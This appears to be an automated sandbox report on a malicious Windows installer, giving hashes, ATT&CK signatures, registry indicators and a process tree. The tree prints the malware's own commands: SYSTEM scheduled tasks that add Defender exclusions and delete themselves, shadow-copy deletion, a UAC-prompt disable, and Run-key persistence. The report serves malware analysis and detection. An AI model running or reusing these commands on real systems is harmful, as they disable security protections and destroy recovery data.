9afe27417a4f7613f4c192de40ac772b903ff0fc31bf2a4b9b93fd294d45cbd1

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/09/2026, 23:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_q2.0.18.exe
Size 25.4MB
Sample260903-22d64atxc1
SHA256 9afe27417a4f7613f4c192de40ac772b903ff0fc31bf2a4b9b93fd294d45cbd1
MD5 f98df48d64cbfd2098ae5b65c08f558b
SHA1 4aa83668f104a49d96d25cad4f3b90482b442724
SHA512 3faffe751194159a7964ad59437db0006f72ac7410463fff4fe92df5a26c49e08150548f2df256e810c98fd4f7839161fea09e88f2459fc70b905d74285a7503
SSDEEP 49152:YKL3W0A0vr9cusmglhowk8s0nHQh6/q/5ci7CbaZk9t5BCHqO3eu/1fef/h5B46o:djAIMaQi7kmeHh2yeH7rkfvVsX+N4
TLSH
T1BA47E6117317E99DE1B753BA048B0F50F725E8B41970977323B8916C5FEAB0CBAB2924
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SHqd9l.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Ujp8CU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	SHqd9l.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	2hOQ7l.exe

Executes dropped EXE 6 IoCs

pid	Process
3364	2hOQ7l.exe
4012	2hOQ7l.exe
2576	SHqd9l.exe
4304	SHqd9l.exe
3976	SHqd9l.exe
3232	9WyIja.exe

Loads dropped DLL 6 IoCs

pid	Process
3364	2hOQ7l.exe
4012	2hOQ7l.exe
2576	SHqd9l.exe
4304	SHqd9l.exe
3976	SHqd9l.exe
3232	9WyIja.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
584	icacls.exe
4368	icacls.exe
2856	icacls.exe
2592	icacls.exe
1052	icacls.exe
4448	icacls.exe
2904	icacls.exe
688	icacls.exe
1400	icacls.exe
3280	icacls.exe
1472	icacls.exe
988	icacls.exe
408	icacls.exe
4764	icacls.exe
3188	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Ujp8CU\\2hOQ7l.exe\""	2hOQ7l.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\SHqd9l\\SHqd9l.exe\""	SHqd9l.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5040	cmd.exe
3316	cmd.exe
4676	cmd.exe
1940	cmd.exe
1860	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	2hOQ7l.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\SHqd9l\SHqd9l.exe	2hOQ7l.exe
File opened for modification	C:\Program Files (x86)\SHqd9l\image.png	2hOQ7l.exe
File opened for modification	C:\Program Files (x86)\jXos7em	SHqd9l.exe
File opened for modification	C:\Program Files (x86)\jXos7em\image.png	SHqd9l.exe
File created	C:\Program Files (x86)\jXos7em\XPSPLOG.dll	SHqd9l.exe
File opened for modification	C:\Program Files (x86)\jXos7em\XPSPLOG.dll	SHqd9l.exe
File opened for modification	C:\Program Files (x86)\SHqd9l\thumbs.db	2hOQ7l.exe
File opened for modification	C:\Program Files (x86)\jXos7em\9WyIja.exe	SHqd9l.exe
File created	C:\Program Files (x86)\SHqd9l\image.png	2hOQ7l.exe
File created	C:\Program Files (x86)\SHqd9l\thumbs.db	2hOQ7l.exe
File created	C:\Program Files (x86)\jXos7em\image.png	SHqd9l.exe
File created	C:\Program Files (x86)\jXos7em\thumbs.db	SHqd9l.exe
File opened for modification	C:\Program Files (x86)\jXos7em\thumbs.db	SHqd9l.exe
File opened for modification	C:\Program Files (x86)\SHqd9l	2hOQ7l.exe
File created	C:\Program Files (x86)\SHqd9l\SHqd9l.exe	2hOQ7l.exe
File created	C:\Program Files (x86)\SHqd9l\XPSPLOG.dll	2hOQ7l.exe
File opened for modification	C:\Program Files (x86)\SHqd9l\XPSPLOG.dll	2hOQ7l.exe
File created	C:\Program Files (x86)\jXos7em\9WyIja.exe	SHqd9l.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0"	SHqd9l.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	SHqd9l.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE	SHqd9l.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4364	cmd.exe
4980	cmd.exe
3132	cmd.exe
3296	cmd.exe
4284	cmd.exe
4224	cmd.exe
3660	cmd.exe
2356	cmd.exe
4472	cmd.exe
1016	cmd.exe
3644	cmd.exe
812	cmd.exe
1944	cmd.exe
4740	cmd.exe
3344	cmd.exe
1984	cmd.exe
1792	cmd.exe
3040	cmd.exe
5044	cmd.exe
176	cmd.exe
756	cmd.exe
2508	cmd.exe
3604	cmd.exe
3228	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9WyIja.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SHqd9l.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SHqd9l.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SHqd9l.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	SHqd9l.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	SHqd9l.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\SCRNSAVE.EXE	SHqd9l.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\ScreenSaveActive = "0"	SHqd9l.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	2hOQ7l.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
512	schtasks.exe
3504	schtasks.exe
4884	schtasks.exe
4396	schtasks.exe
980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3692	install_q2.0.18.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe
3364	2hOQ7l.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3364 wrote to memory of 5040	3364	2hOQ7l.exe	104
PID 5040 wrote to memory of 512	5040	cmd.exe	108
PID 5040 wrote to memory of 4112	5040	cmd.exe	110
PID 3364 wrote to memory of 3316	3364	2hOQ7l.exe	111
PID 5040 wrote to memory of 116	5040	cmd.exe	115
PID 3316 wrote to memory of 3504	3316	cmd.exe	116
PID 3364 wrote to memory of 4676	3364	2hOQ7l.exe	118
PID 4676 wrote to memory of 4884	4676	cmd.exe	120
PID 3316 wrote to memory of 3008	3316	cmd.exe	121
PID 2508 wrote to memory of 1148	2508	cmd.exe	123
PID 4676 wrote to memory of 1120	4676	cmd.exe	125
PID 3316 wrote to memory of 3800	3316	cmd.exe	126
PID 3364 wrote to memory of 1940	3364	2hOQ7l.exe	127
PID 4676 wrote to memory of 4620	4676	cmd.exe	129
PID 1940 wrote to memory of 4396	1940	cmd.exe	130
PID 1940 wrote to memory of 4128	1940	cmd.exe	131
PID 4980 wrote to memory of 1984	4980	cmd.exe	134
PID 3604 wrote to memory of 1176	3604	cmd.exe	135
PID 3364 wrote to memory of 1860	3364	2hOQ7l.exe	136
PID 1940 wrote to memory of 4052	1940	cmd.exe	138
PID 1860 wrote to memory of 980	1860	cmd.exe	139
PID 1860 wrote to memory of 2356	1860	cmd.exe	140
PID 1860 wrote to memory of 2528	1860	cmd.exe	143
PID 3228 wrote to memory of 4124	3228	cmd.exe	144
PID 3364 wrote to memory of 2576	3364	2hOQ7l.exe	145
PID 2576 wrote to memory of 3344	2576	SHqd9l.exe	205
PID 2576 wrote to memory of 4364	2576	SHqd9l.exe	151
PID 2576 wrote to memory of 4472	2576	SHqd9l.exe	153
PID 2576 wrote to memory of 1016	2576	SHqd9l.exe	157
PID 2576 wrote to memory of 1984	2576	SHqd9l.exe	160
PID 2576 wrote to memory of 3132	2576	SHqd9l.exe	162
PID 4364 wrote to memory of 584	4364	cmd.exe	164
PID 2576 wrote to memory of 2356	2576	SHqd9l.exe	165
PID 2356 wrote to memory of 3188	2356	cmd.exe	167
PID 2576 wrote to memory of 3660	2576	SHqd9l.exe	168
PID 3660 wrote to memory of 4448	3660	cmd.exe	170
PID 2576 wrote to memory of 4740	2576	SHqd9l.exe	171
PID 4740 wrote to memory of 1052	4740	cmd.exe	173
PID 2576 wrote to memory of 1944	2576	SHqd9l.exe	174
PID 1944 wrote to memory of 4368	1944	cmd.exe	176
PID 2576 wrote to memory of 756	2576	SHqd9l.exe	177
PID 756 wrote to memory of 688	756	cmd.exe	179
PID 2576 wrote to memory of 176	2576	SHqd9l.exe	180
PID 176 wrote to memory of 4764	176	cmd.exe	182
PID 2576 wrote to memory of 4224	2576	SHqd9l.exe	183
PID 4224 wrote to memory of 408	4224	cmd.exe	185
PID 2576 wrote to memory of 4284	2576	SHqd9l.exe	186
PID 4284 wrote to memory of 2856	4284	cmd.exe	188
PID 2576 wrote to memory of 3296	2576	SHqd9l.exe	189
PID 3296 wrote to memory of 988	3296	cmd.exe	191
PID 2576 wrote to memory of 812	2576	SHqd9l.exe	192
PID 812 wrote to memory of 1400	812	cmd.exe	194
PID 2576 wrote to memory of 5044	2576	SHqd9l.exe	195
PID 5044 wrote to memory of 2592	5044	cmd.exe	197
PID 2576 wrote to memory of 3644	2576	SHqd9l.exe	198
PID 3644 wrote to memory of 3280	3644	cmd.exe	200
PID 2576 wrote to memory of 3040	2576	SHqd9l.exe	201
PID 3040 wrote to memory of 2904	3040	cmd.exe	203
PID 2576 wrote to memory of 1792	2576	SHqd9l.exe	204
PID 1792 wrote to memory of 1472	1792	cmd.exe	206

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SHqd9l.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
"C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3692

C:\Users\Public\Ujp8CU\2hOQ7l.exe
C:\Users\Public\Ujp8CU\2hOQ7l.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Ujp8CU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Ujp8CU\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1120
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1860
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2528
- C:\Program Files (x86)\SHqd9l\SHqd9l.exe
  "C:\Program Files (x86)\SHqd9l\SHqd9l.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SHqd9l" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SHqd9l" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:584
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4472
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1016
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1984
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3132
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SHqd9l" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SHqd9l" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SHqd9l" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SHqd9l" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SHqd9l\SHqd9l.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SHqd9l\SHqd9l.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\SHqd9l\SHqd9l.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\SHqd9l\SHqd9l.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4368
- - C:\Windows\SysWOW64\cmd.exe
